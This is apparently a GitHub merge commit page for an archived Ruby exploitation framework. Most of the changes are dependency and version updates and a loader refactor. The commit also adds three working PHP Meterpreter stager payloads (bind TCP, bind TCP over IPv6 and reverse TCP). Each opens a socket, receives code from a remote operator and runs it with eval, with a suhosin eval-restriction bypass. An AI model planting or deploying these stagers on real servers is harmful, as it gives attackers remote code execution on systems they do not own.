Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 97aa402

Browse files
committed
Merge branch 'development'
2 parents c496255 + fec779d commit 97aa402

File tree

333 files changed

+450
-129
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

333 files changed

+450
-129
lines changed

.gitignore

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,6 @@ sftp-config.json
9191

9292
# Atom Plugins
9393
deployment-config.json
94-
Gemfile.lock
9594

9695
# NPM
9796
node_modules/

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.4.2
1+
2.4.3

.travis.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ language: ruby
22
rvm:
33
- 2.3.5
44
- 2.4.2
5+
- 2.4.3
56
before_install:
67
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
78
script: bundle exec rspec

Gemfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ source 'https://rubygems.org'
44
gem 'colorize', '>=0.8.1'
55
gem 'mime-types', '>=3.1'
66
gem 'nokogiri', '~>1.8.1'
7-
gem 'require_all', '~>1.4'
7+
gem 'require_all', '~>2.0'
88
gem 'rubyzip', '~>1.2.1'
99
gem 'slop', '~>4.6.0'
1010
gem 'typhoeus', '~>1.3.0'

Gemfile.lock

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
GEM
2+
remote: https://rubygems.org/
3+
specs:
4+
colorize (0.8.1)
5+
diff-lcs (1.3)
6+
ethon (0.11.0)
7+
ffi (>= 1.3.0)
8+
ffi (1.9.18)
9+
mime-types (3.1)
10+
mime-types-data (~> 3.2015)
11+
mime-types-data (3.2016.0521)
12+
mini_portile2 (2.3.0)
13+
nokogiri (1.8.1)
14+
mini_portile2 (~> 2.3.0)
15+
require_all (2.0.0)
16+
rspec (3.7.0)
17+
rspec-core (~> 3.7.0)
18+
rspec-expectations (~> 3.7.0)
19+
rspec-mocks (~> 3.7.0)
20+
rspec-core (3.7.0)
21+
rspec-support (~> 3.7.0)
22+
rspec-expectations (3.7.0)
23+
diff-lcs (>= 1.2.0, < 2.0)
24+
rspec-support (~> 3.7.0)
25+
rspec-mocks (3.7.0)
26+
diff-lcs (>= 1.2.0, < 2.0)
27+
rspec-support (~> 3.7.0)
28+
rspec-support (3.7.0)
29+
rubyzip (1.2.1)
30+
slop (4.6.0)
31+
typhoeus (1.3.0)
32+
ethon (>= 0.9.0)
33+
34+
PLATFORMS
35+
ruby
36+
37+
DEPENDENCIES
38+
colorize (>= 0.8.1)
39+
mime-types (>= 3.1)
40+
nokogiri (~> 1.8.1)
41+
require_all (~> 2.0)
42+
rspec (~> 3.7)
43+
rubyzip (~> 1.2.1)
44+
slop (~> 4.6.0)
45+
typhoeus (~> 1.3.0)
46+
47+
BUNDLED WITH
48+
1.16.1

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.8.1
1+
1.9

data/php/meterpreter_bind_tcp.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ip}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ip, $port); if (!$res) { die(); } $s = socket_accept($srvsock); socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

data/php/meterpreter_reverse_tcp.php

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/*<?php /**/ error_reporting(0); if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

lib/cli/context.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,7 @@ def load_module(path)
1919
end
2020

2121
def reload
22-
if @module_path =~ /^exploit\//i
23-
load("#{@module_path.sub('exploit/', 'exploits/')}.rb")
24-
else
25-
load("#{@module_path}.rb")
26-
end
27-
22+
load("#{@module_path}.rb")
2823
load_module(@module_path)
2924
end
3025

0 commit comments

Comments
 (0)